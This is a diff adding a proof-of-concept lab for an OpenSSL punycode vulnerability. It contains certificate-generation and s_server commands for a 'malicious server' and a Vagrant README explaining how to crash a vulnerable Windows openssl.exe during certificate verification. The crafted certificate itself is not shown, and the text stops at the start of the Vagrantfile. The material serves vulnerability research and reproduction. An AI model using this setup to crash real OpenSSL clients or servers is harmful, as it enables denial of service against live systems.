+# Generate private key for client certificate +openssl genrsa -out certs/server.key.pem 2048 +# Generate CSR for client certificate +openssl req -new -key certs/server.key.pem -config configs/server.cnf -out certs/server.csr +# Create client certificate +openssl ca -config configs/ca.cnf -extfile configs/server_ext.cnf -days 1650 -notext -batch -in certs/server.csr -out certs/server.cert.pem + +cat certs/server.cert.pem certs/cacert.pem > certs/trusted.pem diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/run_server.sh b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/run_server.sh new file mode 100755 index 0000000..cd8f909 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/malicious_server/server/run_server.sh @@ -0,0 +1 @@ +../openssl/apps/openssl s_server -accept 127.0.0.1:3000 -cert certs/trusted.pem -key certs/server.key.pem -state diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/openssl-vagrant-poc.gif b/proof-of-concept-exploits/openssl-punycode-vulnerability/openssl-vagrant-poc.gif new file mode 100644 index 0000000..c5ce233 Binary files /dev/null and b/proof-of-concept-exploits/openssl-punycode-vulnerability/openssl-vagrant-poc.gif differ diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/vagrant/.vagrant/rgloader/loader.rb b/proof-of-concept-exploits/openssl-punycode-vulnerability/vagrant/.vagrant/rgloader/loader.rb new file mode 100644 index 0000000..c3c05b0 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/vagrant/.vagrant/rgloader/loader.rb @@ -0,0 +1,9 @@ +# This file loads the proper rgloader/loader.rb file that comes packaged +# with Vagrant so that encoded files can properly run with Vagrant. + +if ENV["VAGRANT_INSTALLER_EMBEDDED_DIR"] + require File.expand_path( + "rgloader/loader", ENV["VAGRANT_INSTALLER_EMBEDDED_DIR"]) +else + raise "Encoded files can't be read outside of the Vagrant installer." +end diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/vagrant/README.md b/proof-of-concept-exploits/openssl-punycode-vulnerability/vagrant/README.md new file mode 100644 index 0000000..a4ccb04 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/vagrant/README.md @@ -0,0 +1,47 @@ +# Vulnerable Vagrant Environment + + +![openssl vagrant poc](../openssl-vagrant-poc.gif "openssl vagrant poc") + +This Vagrant configuration will launch the vagrant environment with: +1. Linux ubuntu box contains OpenSSL with the malicious certificate +2. Windows box with vulnerable OpenSSL + +> If you want to replicate the attacking scenarios from scratch, visit [Malicious Client](../malicious_client/) or [Malicious Server](../malicious_server/) + + +## steps + +1. Run vagrant +``` +vagrant up +``` + + +2. Initiate RDP access to the windows VM + +``` +vagrant rdp windows +``` + +3. Use any RDP client to connect to the windows VM, using username `vagrant` and password `vagrant` + + +4. Open the windows command line and navigate to the POC directory +``` +cd C:\Users\vagrant\Documents\WindowsCrash\ +``` + +We've compiled openssl.exe for you using the official instructions [here](https://github.com/openssl/openssl/blob/master/NOTES-WINDOWS.md#native-builds-using-visual-c++) + + +5. Now just connect to the malicious client + +``` +openssl.exe s_client -connect 192.168.56.3:3000 +``` + +As you will see the openssl.exe will crash in the verify step, and you can see the crash in the event viewer + + + diff --git a/proof-of-concept-exploits/openssl-punycode-vulnerability/vagrant/Vagrantfile b/proof-of-concept-exploits/openssl-punycode-vulnerability/vagrant/Vagrantfile new file mode 100644 index 0000000..c554542 --- /dev/null +++ b/proof-of-concept-exploits/openssl-punycode-vulnerability/vagrant/Vagrantfile @@ -0,0 +1,34 @@ +$server_script = <